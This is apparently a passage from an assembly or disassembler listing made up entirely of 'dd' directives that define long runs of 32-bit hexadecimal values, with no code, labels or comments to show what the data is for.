		dd 0CD050FCEh, 200354E9h, 31FAB2FEh, 0D689E217h, 426D79EEh
		dd 5C7A658Dh, 0D10E670Bh, 2DC1F607h, 7FA14CD0h,	6801F67Ah
		dd 9B4C60C7h, 0CB6E48BBh, 0E304674Ch, 0C05277F4h, 0D2E8EB47h
		dd 21C94C0Bh, 9B647DDEh, 96BE5602h, 401B2E30h, 6025BAE2h
		dd 26C60CCFh, 1358DB3Eh, 71EA074Dh, 0CEC33BA2h,	60D9D1C1h
		dd 3682F425h, 0C3E54F08h, 0E90601DEh, 26A19049h, 0C3667DB3h
		dd 0EB852E0Fh, 0AC4804A6h, 649F73h, 93BDE471h, 0F0C7FA2Fh
		dd 0D2295BD6h, 6DD01851h, 3AC68839h, 0F7A84ED8h, 0C09D320h
		dd 4A524EEh, 2136083h, 49B2CF1Eh, 0D7F7FE40h, 0A8906397h
		dd 5C6C4F52h, 0C54DFF44h, 3C7A092Ch, 0B73EB116h, 7B681809h
		dd 6301E9ABh, 56556EDFh, 2A20ABB9h, 401F9E28h, 0B8075079h
		dd 3854328Ch, 3ABDAEBDh, 6203B60Fh, 0BEC72964h,	34472A5h
		dd 2DC044E0h, 0F2F804E4h, 0F430F910h, 0E9E32802h, 0AEB0699Bh
		dd 83D41C5Bh, 0E1E54A55h, 0A9A53161h, 0DDCA80F5h, 0CE095061h
		dd 9985840Ch, 4667F435h, 0C33A0645h, 2280BF94h,	5AEC7D65h
		dd 19B95F02h, 7FEA47BBh, 0E97429EEh, 591676B6h,	64C051F0h
		dd 0A12918E2h, 0DE364045h, 1201B420h, 3F0B6ABBh, 6A70317Bh
		dd 0FF990BB8h, 0A2DD10E2h, 4C51EF2Ah, 91345FEEh, 0CE11FF2Bh
		dd 88EFCAE0h, 0DEAF3C25h, 0F8503D1h, 0C045BA6h,	22AA6BE7h
		dd 16E834C7h, 0EE22BA4Ah, 8FE4F55Ch, 54BE683Ch,	0C47AB27Ah
		dd 0AC18C024h, 80DBB760h, 0AB1F5FCFh, 8EFA0F17h, 0CA34155Ah
		dd 0F2D726B6h, 0C5C2C61Fh, 80DBF751h, 37462380h, 0C1F7D055h
		dd 0F1BD0573h, 0EADF2992h, 0FEDBAD1Dh, 0E2F6ED44h, 0D5118D4Ch
		dd 0E488452Bh, 4F4C207Ah, 5B9812EEh, 89E54E8h, 5D098356h
		dd 0D0C5FD50h, 69826C2Fh, 72582F6Dh, 0BF756529h, 237994BFh
		dd 122C3C7Bh, 0F7A3C9C0h, 0EEC511Ah, 0D9D49B5Fh, 142D8C38h
		dd 2931C922h, 82573247h, 0C1801C87h, 0D0A6852Fh, 0F75E5F8Ch
		dd 0A304D96Fh, 0F88106E1h, 588A5182h, 0EB274607h, 2764E0F4h
		dd 0BD2A94E1h, 54EAA053h, 0EC605CF2h, 7A067D06h, 0D1506040h
		dd 0C009BE93h, 800C7C74h, 2214856Fh, 97B9853h, 46486F91h
		dd 38F6E140h, 0B331991Ch, 43E9F182h, 0B01C461Ch, 4B514DF5h
		dd 47649579h, 0AC1B912Ah, 927D89Dh, 5FF1413Bh, 8B2BB4C2h
		dd 5C51EA71h, 0C1FFE87Bh, 38B43E66h, 62317767h,	31C73117h
		dd 17753B6h, 877A7B2Eh,	46001813h, 218547D7h, 660827E9h
		dd 0DBB67748h, 8B91F3BFh, 7DB0ED68h, 801CC5B4h,	0E4C0A8ECh
		dd 0F6C4FE01h, 51D1F5D4h, 2036106Bh, 0ACB75382h, 2817B3DCh
		dd 0CEDD9BA0h, 0E9842C0Ah, 8023B0EEh, 13D2E748h, 0F9AC183Fh
		dd 120F3CA2h, 4F01C1A0h, 2304E6C1h, 0C8B6090Ch,	0F83229F5h
		dd 34A609BFh, 0C9897DD9h, 0AD662EA3h, 13982D90h, 287908C7h
		dd 0AC3F8FA9h, 0F8560E05h, 63B53E68h, 0BE30E755h, 8E555F03h
		dd 129E16DEh, 25680128h, 34C66AFFh, 1014CBBFh, 5A45994Ch
		dd 6061E6E4h, 0CEBE9CF2h, 112DCA2Bh, 802DE129h,	0B705D350h
		dd 1DA93E32h, 72DD094h,	56861D4Ch, 0CC2E3054h, 236F2B81h
		dd 8717D12Dh, 5074C94Fh, 0C0FE3B05h, 0B35F3792h, 54CC02FBh
		dd 75582D50h, 77726474h, 5569937Bh, 0CC4A2110h,	36F8E189h
		dd 0F83476BCh, 0D509185Eh, 0F6A10C59h, 0AFA6323Dh, 0B5D7F2B2h
		dd 155C2DF4h, 8C3BE951h, 40476801h, 6E5D2A7Ch, 24AFC32Ch
		dd 0CD26B43h, 0C397E309h, 4E35220Fh, 5BC8742Eh,	624B5B45h
		dd 4B24E42Ch, 7003205h,	5C1E9A50h, 1B0ED021h, 0D9EB1265h
		dd 92216BC3h, 5D031A13h, 3B48F7B1h, 607E24CEh, 0BA52A172h
		dd 0D4253C4Bh, 97D8F858h, 0B88267E6h, 0A3F2D038h, 8AB3871Fh
		dd 815576E5h, 0E4BAD0EFh, 64BF3E0Bh, 905FD544h,	6E73C915h
		dd 0A394344Eh, 1640DFEFh, 0A5B52769h, 993E3FEDh, 3CFF2E31h
		dd 0A0975356h, 1041EB7Ah, 4A465D2Dh, 0E908A072h, 485E4886h
		dd 625208C0h, 29373CD5h, 44C5104Ch, 0F8E90C20h,	4489FC8h
		dd 5E803591h, 82E67968h, 51DAD609h, 0B2150BFh, 4A056922h
		dd 1AF3EEE0h, 0F0067A27h, 0E82E5A3Bh, 2FD1A18Eh, 70DE0324h
		dd 5E54BF3Ch, 0B87BE979h, 188F486h, 0BD0F70EEh,	4C95FF4h
		dd 0CCFAFA6Fh, 1670411Dh, 0A5787CBDh, 8109D778h, 9A4C380h
		dd 0C0A2EB65h, 61E65F97h, 9DEFCE4Eh, 0D901D890h, 0C8295B12h
		dd 5B523916h, 0D390F3AAh, 87E211E8h, 552F40FEh,	30DFC632h
		dd 9B4F2504h, 4C253D72h, 0CF45D04Ch, 0A75B9F9h,	0AE28A42Bh
		dd 0C2906370h, 0BC1AF020h, 4A8820FCh, 1E703270h, 0CB2F1E5Bh
		dd 0B87F210h, 2752C475h, 0AC5E5267h, 2E64F569h,	1EC56220h
		dd 1268B551h, 0E890FB78h, 5E83135Ah, 900387DFh,	6C299CE7h
		dd 0F70943B8h, 0FDB5041Eh, 0DC00BDAFh, 21D413F9h, 0D216FA65h
		dd 801A85AAh, 905ED13Ah, 0C981231Eh, 70454E0Bh,	5FD80283h
		dd 0CA315A19h, 0C27C83E1h, 4993F9F5h, 0F6834957h, 0F200C255h
		dd 0D522EEB4h, 88608301h, 0D1A1EF8Dh, 0F8E24B75h, 0F5A85A83h
		dd 2CA5E5E5h, 8F01D398h, 0BB7073Ah, 123C61E7h, 6C994C2Ch
		dd 44D81451h, 6088CCCh,	2AEE205h, 295D22C7h, 0C1D158C6h
		dd 0D5C5CE62h, 8632DD6Ch, 0F4411D73h, 1C3309D8h, 48A595F3h
		dd 95C48E08h, 5C8F28D1h, 0B108959h, 26D5DE1Dh, 0EEF216C7h
		dd 0DF985D90h, 2F50BF25h, 1726567Fh, 24C24150h,	0CD680202h
		dd 76ADC3D1h, 3CCA020Bh, 99B22807h, 0F918C1h, 95F8C180h
		dd 66E21ED8h, 31685B3Dh, 320ED15Ch, 7BFED83Bh, 0DEA6364Bh
		dd 0A6545012h, 4E013192h, 0D17BA4E9h, 0C44FBE47h, 0F5FC16DAh
		dd 910F9B5h, 8DC7C36h, 43DCF267h, 0C5C90F3h, 26B80245h
		dd 2D0B750Ch, 0F75E14BFh, 0A7C30A8Bh, 6B171A73h, 9DFFDE22h
		dd 0D7FC7F80h, 0AD527913h, 74A7C9CBh, 0B658AFA2h, 9712B020h
		dd 52042F57h, 0C5BDCD42h, 0D5D1637Dh, 9714C1C6h, 0DB0834EDh
		dd 5F660E27h, 0B3A6F452h, 0AB32444Ah, 47C575Ah,	89A20BCBh
		dd 60EED712h, 4A3C68BFh, 43B98039h, 96623535h, 9D5B3280h
		dd 0BCF0952Ah, 1ABF12C1h, 0E02B3215h, 0C52FE5C0h, 507A0B51h
		dd 65782ED1h, 0C8525206h, 0E6E95008h, 44A1213h,	0B869C638h
		dd 0C5BCF1A3h, 1500FB05h, 6DFC2A6Ah, 6D545D29h,	0C40254Dh
		dd 9D5F7951h, 0AC200A16h, 15C69E0Bh, 4E7CC350h,	0A93D16F3h
		dd 54FB0436h, 7B011625h, 7E0F27DEh, 0EF0384BCh,	6DF16FBEh
		dd 40D6124Ch, 68005608h, 2D82258h, 91F7295Eh, 84419242h
		dd 7E01EBD5h, 7F0493AFh, 0CE68E207h, 5DEB015Eh,	0D9BF8094h
		dd 0E1562756h, 8D5677F2h, 5B79DD52h, 0B0FBE945h, 960405F3h
		dd 29837BFDh, 96B8ECABh, 0D8972DB3h, 141EB3Bh, 6469BC82h
		dd 0D8DD7D0Ch, 5A088319h
		dd 0AD98211Ch, 0F2FA0518h, 0B661623h, 8D1B30BAh, 22786D09h
		dd 4C32EE88h, 4B7BA8C0h, 0D05AAD28h, 91E44BC2h,	9794EE9h
		dd 0C002B424h, 8009F9EDh, 5966EBA1h, 68C0A080h,	8C2D4EBFh
		dd 284B64B8h, 5BF04E30h, 0BB23029Ah, 0DC65A448h, 8F6DD89h
		dd 0FECB018Dh, 0EA4BD978h, 0DE6D948Dh, 3F1F015Ah, 0F152970Eh
		dd 90123FEAh, 98B527A2h, 9A2A687Eh, 22954E3Dh, 7459BF9Dh
		dd 86860CEh, 737E1047h,	0AA5ED726h, 421648CBh, 0AFE49730h
		dd 0AD624A09h, 3D6B0040h, 4314602h, 0A76ECBBh, 0D21EC064h
		dd 20F7D912h, 0E4B5373Fh, 0BA70F0F7h, 5A7294C5h, 0FA60617Eh
		dd 5B45C64Ch, 134ABC43h, 8933D6FDh, 69F89487h, 1EC132C6h
		dd 49DEC398h, 0D418F589h, 0B80073F2h, 23403455h, 1E56B850h
		dd 17FC0Dh, 19371F35h, 0AA7C257Ah, 2D653600h, 66C4E4E6h
		dd 3B5A9731h, 2455D58Ah, 2AF05B90h, 313B0925h, 0A4D2223Fh
		dd 0C09B8F0Bh, 114100A4h, 4152D618h, 593F809h, 250B2B77h
		dd 85174C81h, 0B8F0D067h, 944D51E9h, 9333FD6Bh,	44E424B9h
		dd 0B115E9FCh, 53F8F368h, 0F8E076B7h, 0FC285B25h, 80BD03C5h
		dd 0C59987E5h, 0AEB02FF1h, 6683072Ch, 4943F668h, 28562B49h
		dd 5E5C2708h, 0D2FD73B9h, 0D284F62Ah, 0F030EBA5h, 9F52D788h
		dd 5AD5D6E0h, 2C275B79h, 8D64E587h, 0CC3AC052h,	0D4F007EAh
		dd 0E31A6B6Bh, 0E618C1EEh, 70C20974h, 49D05822h, 719C3820h
		dd 2C8A6D9Eh, 0F582F10Eh, 0E0B92641h, 0B7D04659h, 1447D959h
		dd 89580478h, 0FDCFAFD8h, 0EBDBCC5Fh, 0C26CFC0Dh, 0D1494A7Ch
		dd 41E6E16Ah, 5331E93h,	0B81F95FFh, 632DB084h, 21C0051Bh
		dd 1305C829h, 0F6E4AA07h, 0ECD55A0Ch, 0BD05C072h, 24191666h
		dd 20AFD801h, 0E519F08h, 0C13F7124h, 2E5D69F8h,	141B0E43h
		dd 11898770h, 0B75FB7FAh, 41E269D1h, 907158C0h,	0FFFC1683h
		dd 0EA9B8417h, 1C7058D3h, 17E8B32Dh, 28C209D9h,	0F518B2FDh
		dd 0BA5E8ECEh, 1C046856h, 87092F4Ch, 23FCF070h,	0DF0042B5h
		dd 79D5AF29h, 67E970FBh, 5A907ABAh, 0E1442904h,	0F825D49h
		dd 97F17E7Bh, 482BCF0h,	15D20EF9h, 3E1631C7h, 0F1EAFEB0h
		dd 3C088CCAh, 41584153h, 2E472C8Eh, 50615580h, 0FDE6C5B0h
		dd 0D2CBBBDBh, 119A9558h, 0E2F47442h, 40E0EF82h, 0FEA5839Ch
		dd 40CE9A5Fh, 611E0929h, 28E9A635h, 0E292532Ah,	0F1574BBAh
		dd 97B528E4h, 0C050617Ch, 0C563C2BEh, 3EE29936h, 0F025C956h
		dd 9AE7BFA4h, 9E94D5A7h, 15A5FD97h, 7AA7BD68h, 13189F59h
		dd 1CE8015Ch, 81741596h, 808FB102h, 0B07D93C9h,	7DB3534Bh
		dd 0A8F35A98h, 0E4C82F51h, 0B077EAF2h, 9FAFB046h, 2ACDCB99h
		dd 0C2A76485h, 5F277ADEh, 444B3A66h, 0BF0086F3h, 6C6133F1h
		dd 4704112Dh, 8BE95569h, 8A3846A1h, 0FAE2AEA5h,	0E0F0E985h
		dd 3703BA2Ch, 311B5345h, 0FE71E2F2h, 0A7EC2D24h, 7F3EF8B7h
		dd 4F702E7Bh, 44E7084Fh, 89CE5E2Dh, 94FFBDEAh, 0F27B9F64h
		dd 35691D0Dh, 9F53E23Eh, 0B0652BDCh, 0E179D46Fh, 6638FB3Bh
		dd 601AB053h, 720576EFh, 6E755451h, 9B5FD51Eh, 2882D01h
		dd 3C353276h, 11CA0707h, 72C9E909h, 75FF82ABh, 0E95856h
		dd 0BC40963Eh, 0EE314F0Fh, 0B852E328h, 73802B1h, 0D6F75BCEh
		dd 400150C1h, 906E2098h, 3B033D4Ch, 54032FB5h, 4A4E017Ch
		dd 0F3C12DDDh, 0D40F40D6h, 0E033F970h, 39666CEEh, 5CEEC77h
		dd 2D9E35AAh, 0BA64C1D1h, 65B80018h, 7CAB2C7Ah,	2E3A69Eh
		dd 6FF5B95h, 1E4BBD60h,	4100CE72h, 5E17BA52h, 48158C0h
		dd 9059ADCAh, 1DC1AB16h, 3493E7B0h, 0A77D0409h,	0CB680213h
		dd 6563F625h, 0AD45D3FAh, 2A3F5004h, 48FD15BFh,	4DA5F200h
		dd 0D0296C4Ah, 0D0F4D19Dh, 436269E9h, 0D62D7473h, 515E50DCh
		dd 73128FA0h, 8402103Fh, 2862E9F1h, 304FA48Ah, 8EE956A5h
		dd 99F83BFh, 7668B9DFh,	327F322Eh, 22896D5Ch, 8841514Ch
		dd 581320E1h, 40B89AEEh, 10402924h, 29E64B30h, 58168907h
		dd 0DE0A8B80h, 47C602B6h, 0A984612Ch, 7819B20Fh, 0C95DDD37h
		dd 54FA8E2h, 5571225Ch,	6B441875h, 714A8165h, 14367859h
		dd 975351h, 0B5E07ECh, 2D2CABBBh, 4A602AFBh, 780CA1B9h
		dd 8281915Ch, 62C50D20h, 268D929h, 0C2555B08h, 0BB42FF8Ah
		dd 7C6173D9h, 9228C658h, 5057F20h, 90A46DC9h, 47F90680h
		dd 295C1E40h, 85039C7h,	91BB458h, 0D06059E9h, 352431BAh
		dd 0EA027CCEh, 5DA73010h, 1453F200h, 14A6485h, 0EDD4D0EBh
		dd 0AC131974h, 7891591Dh, 883B14A9h, 0EE4192BCh, 79CFAC7Eh
		dd 0FD055A4Ah, 0D12DC531h, 0DA8D146Ah, 3780FB4Bh, 5BED52D3h
		dd 829BB972h, 0CA13E9F7h, 44817659h, 43C9AA59h,	9FB8E3Ah
		dd 0FE394C68h, 6FF17125h, 44B424B8h, 0D95FF911h, 48492F46h
		dd 680D40EBh, 81549C4h,	0AD2BF516h, 0B60C8341h,	2574EF2Dh
		dd 7B6531BFh, 755D024Ch, 1E2FE4DBh, 0A76815B6h,	24782F1Fh
		dd 69094DC6h, 232629DAh, 0D6EBD760h, 0E9DAC123h, 7D742216h
		dd 747C511Eh, 1FE38100h, 98615576h, 3C281C95h, 266A4EFh
		dd 3AF76DABh, 275D27E0h, 0C190A30h, 0B10984Eh, 6A06E9B0h
		dd 6BEF29DEh, 0BA24C03Bh, 22691EBFh, 0ED339C32h, 7188B5D1h
		dd 6FF2D41h, 70060499h,	58E50FE3h, 5F7DC5FEh, 49B8BA9Ah
		dd 99F6E829h, 52DC7A59h, 1A5D6FC4h, 5B2644A1h, 0BA441293h
		dd 680B3BCAh, 8ACD455Ch, 2232F525h, 0A0B9FADFh,	4A3E3F12h
		dd 5F8700F8h, 0CC249D2Dh, 13594426h, 0EE5BA806h, 35485B82h
		dd 0A798BA4Dh, 0D0194E07h, 969F101h, 5AE370B7h,	0C3D6983Fh
		dd 6D22D997h, 3BF52A18h, 0B81D047Fh, 1429A9BEh,	9F54F5Ch
		dd 5408E2C1h, 4B0E1DF4h, 18007E10h, 35E14632h, 3BF692A1h
		dd 52297A92h, 95F104D3h, 0EA1EAC41h, 4A73358Ah,	0E4ADF8CEh
		dd 50D903AEh, 4B933147h, 2E26F3F0h, 0F76A0663h,	0C75F017Dh
		dd 3805690Eh, 27A86F5Dh, 3E3267DFh, 4AA61E7Fh, 553FC908h
		dd 10E1DA85h, 0ED486D41h, 17FB310h, 0B2527AB5h,	8B20F682h
		dd 0A20B97FAh, 9CBCEC5Fh, 28CB0B0Ch, 0BEC6810Fh, 501328B9h
		dd 14ACF488h, 0EB205A00h, 3FF38059h, 17F22848h,	0D0EFC3B4h
		dd 585FFA3Ah, 5AD33100h, 0A43C6405h, 0AB42BF74h, 715F0709h
		dd 0BA3CA710h, 2A45E926h, 0CAEB5B92h, 69E98EF3h, 52AB5411h
		dd 74BE2EC9h, 2EF068F2h, 0E04D19BDh, 0F150CD53h, 0E53549Dh
		dd 42E5FF57h, 0B8ADB145h, 0CD224BDh, 34456FFh, 25685A80h
		dd 204614C8h, 9B3AA9Fh,	0B6F76A34h, 0C9135412h,	2517E152h
		dd 91F36FD9h, 3183BA96h, 5E8F3B66h, 59184C19h, 30B96FD3h
		dd 2EB8309h, 4B4BE675h,	2F89FBABh, 27554C60h, 0E5966975h
		dd 587FEA02h, 0E04A27ADh, 0B03E4DF7h, 98DC98C0h, 270DECD9h
		dd 6A40C34Ch, 5809A9D1h, 83CA2978h, 7F87A5Bh, 685155A1h
		dd 6CA81239h, 0CB030DF0h, 899357C6h, 0ACAECCCDh, 9C68B046h
		dd 90459D0Ch, 0AD085817h, 0AC5A172Bh, 0D40BDF5Fh, 4F6BFEFDh
		dd 0EC57D805h, 0B7CBC4CBh, 35E8D103h, 196B097h,	584CC709h
		dd 7C43076Ah, 0EFA56D1Eh, 1CF71980h, 6CCC2D62h,	6804D376h
		dd 29EB03D5h, 0A66A205Bh, 1EB84C40h, 0CDD647E2h, 6B0BDE2Dh
		dd 1F1EEF81h, 0AFF504h,	5A1325ABh, 168B2D50h, 11F2281Fh
		dd 4C98A2E8h, 3951A209h, 411FE71h, 0F4C7C5E9h, 321206B8h
		dd 89BA2090h, 0A9912A9Bh, 57000ED0h, 0D37A5F58h, 0BE200C98h
		dd 0F0863906h, 4221C32Ch
		dd 8C79DD96h, 780257A4h, 0C816E530h, 804B810Bh,	894BCF29h
		dd 0B41502Dh, 7FCED105h, 34BA61B0h, 0D90C4A2Eh,	9B024924h
		dd 68B9E991h, 0A05355E3h, 2F370583h, 0E9F6234Ch, 6532DC27h
		dd 774897E6h, 608F261h,	0D7A561E5h, 0CC315348h,	976B5481h
		dd 949BA4CDh, 104BB323h, 5E272B83h, 0E27B1375h,	810FFE6Ah
		dd 164709C9h, 5714604Dh, 0ED5EEC15h, 3EE551CDh,	0BB0C7658h
		dd 681C0922h, 1DF067E9h, 0DF2F5977h, 0BE121817h, 547D18FCh
		dd 7B1CF26Eh, 0F8535C25h, 0ED729702h, 0DF368513h, 167CD8B0h
		dd 0A878C428h, 32A40216h, 0FF576BC6h, 960C83EAh, 6609556Fh
		dd 7707DFBDh, 0AD3D4C70h, 0DD211F38h, 45DF5B5Fh, 0EAED8143h
		dd 172DE0A0h, 827EFB2Bh, 59CABF24h, 992E5F5h, 62DC79A1h
		dd 707E044Fh, 15F18003h, 0AF0C063Dh, 0BD97802Fh, 4F6C31D6h
		dd 3814E465h, 61CC5438h, 1035490Ch, 2F59760h, 57AF2232h
		dd 9D40EB31h, 4DBD182Eh, 3A572DA8h, 0E7B05D5Ch,	0BD805502h
		dd 9C7314E4h, 0C99E6553h, 2789460Dh, 154D2D5h, 854F31F5h
		dd 965B55AFh, 0DC2C282h, 4DDE5528h, 680BA9C8h, 609A7CA0h
		dd 30E920B0h, 0ED2848BDh, 0E25713EEh, 31C147Ah,	0D3EFCF20h
		dd 383B62B9h, 0C0C89F4Dh, 0BA5E127Ah, 8B73C389h, 95C9D550h
		dd 0CE8EC2ECh, 80FEC5B5h, 9052B368h, 9AA05E1Fh,	994C171Eh
		dd 39E1032Dh, 75152442h, 4020170Ch, 1963007Fh, 3150F21Fh
		dd 0F75BD909h, 772D4D1h, 1FD29364h, 9B84CE89h, 7299F601h
		dd 9EE31D4Fh, 0D297E984h, 47C0283Eh, 0DCB5E556h, 0FF5365F7h
		dd 44976EB2h, 1437BEA9h, 0D4DC0487h, 97BADEF3h,	0BF9560BBh
		dd 0D8BF6E15h, 31071FC6h, 0DED657h, 0C82F8DDEh,	60BF583Eh
		dd 0D7F00B70h, 0E1C0F17Ah, 0E5127B5Dh, 254F8ABAh, 0BE100030h
		dd 9F690122h, 4A160554h, 842090FEh, 4F4A0613h, 0A73FBCE1h
		dd 0B54A0149h, 632AE93Fh, 9F80C1A7h, 4268010Ch,	850A6C5Dh
		dd 0F1B2C012h, 0A387C473h, 1234AA0Eh, 3E57E4EFh, 0F3574960h
		dd 0E5F5051Fh, 0FE2FFC35h, 9FBB1A3Ch, 0D7AC835Ch, 0F9B48409h
		dd 66DA4B88h, 77647EDAh, 38E3C6FCh, 2A3850CAh, 10591382h
		dd 43900157h, 5BC13Ah, 586747FAh, 0D62DB93Dh, 68A09068h
		dd 4458C32Dh, 5F3AF021h, 0D96CCC06h, 0C9285F4Fh, 0ED3B558h
		dd 0B1945DA5h, 65EB012Dh, 37E8A506h, 2E7E6852h,	0E39430AEh
		dd 83B35664h, 37F4680Ah, 2B60A751h, 5B254D45h, 80C3F86Ch
		dd 5AB2E907h, 63389274h, 0BD26A5A8h, 50109010h,	631799BCh
		dd 340075D9h, 700142FCh, 9F4C9029h, 0FC929C5Fh,	30B0BE8Bh
		dd 3B16EEE0h, 7836C527h, 0BC352C8Eh, 6C4E9C36h,	0A22F17E3h
		dd 89850928h, 44E75DEDh, 4079EE02h, 0EFEA8552h,	3CED0618h
		dd 5342D22h, 18078388h,	23192C59h, 0C4C379F4h, 0F89973EEh
		dd 4BA5E945h, 0CA21BAD8h, 0BF05BD34h, 1E13B0CBh, 4530BBD1h
		dd 0B06275DBh, 973079DFh, 0FBBF7FEEh, 0D7E9096Fh, 0CDDD2D42h
		dd 35E409A7h, 0B4C049F9h, 16C480ABh, 5E8EE9FFh,	0B105805Ch
		dd 58E12815h, 0DF7BE095h, 0DC1F2DE9h, 5D45A4D9h, 4A69A5C2h
		dd 0FD95DDE8h, 32109CA6h, 0C9C35C1Dh, 4CA9B289h, 79271DF4h
		dd 0F14A0A7Eh, 0C8F8A7E9h, 52CF432Dh, 0D0C95E8Fh, 0E782EA81h
		dd 26B09A7Ch, 72255141h, 70BD863Ah, 2931794Bh, 0C2044706h
		dd 0A686375h, 41F034BBh, 85AC444Bh, 4CBE940h, 0E96D103Ah
		dd 0BA94A053h, 1849CD0Bh, 0B374407Ch, 0C6898071h, 92D583Ah
		dd 0D04BC57Ah, 3A702030h, 450532Ch, 0EB81F730h,	4601D03h
		dd 83C38023h, 0FF2CFE1Dh, 5562335Ch, 51C13BD0h,	0B26A046Dh
		dd 29525B8h, 41FB013Bh,	9E2D050Fh, 124088C4h, 4B5B9540h
		dd 0E08EBA52h, 0BC3AF32Bh, 28F304F8h, 5CC0E835h, 5B443EC7h
		dd 48B3C008h, 0FCBF4210h, 8EF1489h, 32140C68h, 19711B66h
		dd 7F8575A5h, 7C7AF35Bh, 5BF75C49h, 851D29B9h, 8B50AD12h
		dd 5784B907h, 0BF300FEBh, 6B033325h, 75F96826h,	1708F08h
		dd 40CFDA35h, 0A5127AA8h, 0A44176E8h, 139A922h,	778F35F5h
		dd 4D97FA3Bh, 0B7B15A53h, 9967F77Bh, 90248C8Bh,	394FF540h
		dd 1DF5121h, 0B271B52Fh, 89FAF329h, 6579CFE9h, 39E86AC9h
		dd 0B26487F2h, 3459C831h, 9191CDACh, 2C9C4B12h,	87D6978Dh
		dd 1484D75Ah, 0F5470912h, 2F779A0h, 0C95590CDh,	0D3E56B86h
		dd 5570FC3Eh, 88F22A19h, 6B59E9B1h, 78FE8917h, 6825E9F2h
		dd 0DA5ED627h, 5A2F94D2h, 0A2A24469h, 27E5F140h, 1562A47Dh
		dd 94688E91h, 2132AF3Eh, 55FBCABBh, 0CB2060F2h,	3B58B7DDh
		dd 8834C31Eh, 622F7Eh, 0F02D403Ch, 7FDE3D18h, 4046CC98h
		dd 2A070ABAh, 0F2870F2Bh, 883848ADh, 36C7800Eh,	0C76F766h
		dd 53F81A4Ah, 8E1C00Fh,	281BC1E1h, 0AE882ECBh, 0A5646232h
		dd 0A27F5DE8h, 550B97D0h, 9C0DE631h, 816C3110h,	0FFF1B009h
		dd 9425E6C4h, 90B5E608h, 0EBC240Bh, 54755227h, 90B5A94h
		dd 0C4D967Dh, 73E8E9FDh, 2C02F64Bh, 291B9C07h, 0A85F62F3h
		dd 0DB17BC48h, 35155F52h, 3B681393h, 0C454634Ch, 2B489DB8h
		dd 0BD81775Dh, 0DBEE4753h, 0A91AE268h, 123E667Dh, 0FA875FFEh
		dd 9D5A9DE3h, 0A40A40A5h, 60AB45Fh, 39BE2CE9h, 9756F917h
		dd 0B8BF6074h, 9DE9E0EAh, 17A2B759h, 550431C8h,	6C0BEDA8h
		dd 0B6874146h, 6BD6F35Eh, 2FA2BA85h, 80494B7Ah,	66E308B9h
		dd 382E5848h, 5BD90B14h, 4E14F820h, 5D3C82FCh, 0CFE25977h
		dd 5D94ED80h, 12844A0h,	0AB20EBFDh, 2C050015h, 353F7927h
		dd 5825FE3Bh, 5D5750F7h, 3F7811D5h, 0F08440D0h,	0EFDFEA94h
		dd 6B053CFDh, 0D44F263Fh, 22D2AF87h, 0BB256886h, 5084FA64h
		dd 0C03DD420h, 79CFC68Bh, 212D4A7Dh, 0A4D694F0h, 0E9032FD2h
		dd 7749835Ch, 864AC4E6h, 0D9010FC1h, 61128B6Ah,	38916BA0h
		dd 40CE370h, 0E9344744h, 688AFEDCh, 22EBE10h, 2B685F54h
		dd 5AAFF44Bh, 0F3E37240h, 0F2EF66BFh, 442945FDh, 38DA802Ah
		dd 0F0F1B3F3h, 312D5BDEh, 0C05E56F5h, 0BD2661E5h, 308F3758h
		dd 50E88FEEh, 2F077AF5h, 9E7FC1B5h, 2577C93Eh, 0AD31D061h
		dd 17795EE8h, 30DDBB98h, 358D146Ah, 866FC805h, 634DAC7Eh
		dd 8509A8A8h, 3B66B20Ch, 0F5B2BD58h, 61143A5Fh,	8004BEA2h
		dd 71880D4h, 534574Eh, 0BFD298F8h, 0ADEA8631h, 962C388Bh
		dd 0D80BF10Eh, 28CCDAAEh, 0D3B75B0Ch, 2E961C9Dh, 22530C4Fh
		dd 0BF0CC9D7h, 987A1F59h, 0FD3574B6h, 2772C628h, 69E947A2h
		dd 6D7BF860h, 5EF1011Ah, 0B558822h, 1130A02Ch, 0B52C913Ch
		dd 0B2929B0Eh, 4BBE00DEh, 31033F45h, 76B197EEh,	0A796BC21h
		dd 1E98DDAFh, 0B4B55E54h, 60992034h, 6E23B800h,	0E0053E7Ah
		dd 30422F51h, 357DABF0h, 61BA5C02h, 0A2C5A4E9h,	5C16F1B3h
		dd 0CFB0286Fh, 0D26CE98Bh, 0F6AC5E20h, 4A3B68BDh, 0FBE92EFh
		dd 0BB035D4h, 0C8265E44h, 111EF56Ah, 1FC970CFh,	5018561Ah
		dd 0DB9765B7h, 1223A638h, 0C49FEC67h, 6135937h,	91D4AABAh
		dd 0CFD1F728h, 1B362609h, 0A03B8E4Ch, 3171EB06h, 4BC5E2E9h
		dd 7963E202h, 85C9CE7Ch, 0BD395EC3h, 8B4A23ACh,	3401D301h
		dd 0C05F2FBCh, 27174125h, 0DFA93F4Ah, 88F0425h,	0A6392DF6h
		dd 45AD2470h, 0BE1913E0h, 6BFE59CCh, 7D01F47h, 7F1C800Bh
		dd 61E08060h, 78122E29h, 0F773BD68h, 0D17FB502h, 0FF745F79h
		dd 6D600171h, 7F714125h, 573DEFFDh, 966D2BA4h, 0E50C045Ch
		dd 228095Eh, 0F5F56030h
		dd 0FEB51A4Eh, 0ECC2A556h, 2C54E775h, 0D2F78985h, 853C47F7h
		dd 0A941FBE9h, 5AC325AEh, 0A90CD2C1h, 26E913CDh, 0DEF7BDC1h
		dd 0B40C3160h, 0B8246F27h, 2FFA5458h, 4BCBD653h, 8C283AD9h
		dd 0EBD418F8h, 742C03F3h, 80FEEB80h, 0C1B450C3h, 0B2E9E30Ah
		dd 12293BB9h, 0F097A90h, 0E7D10559h, 5D504CC6h,	90743478h
		dd 2BB0169h, 3E686D6Ch,	0FDE3603h, 769D5FFAh, 75D2081Fh
		dd 73E9A506h, 0EE8330BBh, 54E681E1h, 3D3C7112h,	642F0609h
		dd 0E1F70BC5h, 327D1A68h, 7F6B40D9h, 6C5F81ABh,	0D0D1D60Ah
		dd 752207E2h, 0B0742D27h, 8464D1A5h, 0AE414D68h, 0E07BAD98h
		dd 5A1F2DD7h, 0F4B52858h, 0AD8482C7h, 0E2FFAE7Dh, 85875DADh
		dd 62BA5272h, 69E81440h, 0CC06471h, 1479CDB2h, 34AD2D68h
		dd 0B45CA252h, 50498961h, 4F472D5Fh, 22E06570h,	60092F2Fh
		dd 585EEF3Ah, 834B2F8Eh, 809C29CBh, 0AD7388ECh,	0E52D657Ch
		dd 89CC5E04h, 635A5A97h, 2A246426h, 0B5DC2C58h,	2313A2D3h
		dd 5731F782h, 0E283AAECh, 667715A1h, 0FFAD5F2Ch, 2560A997h
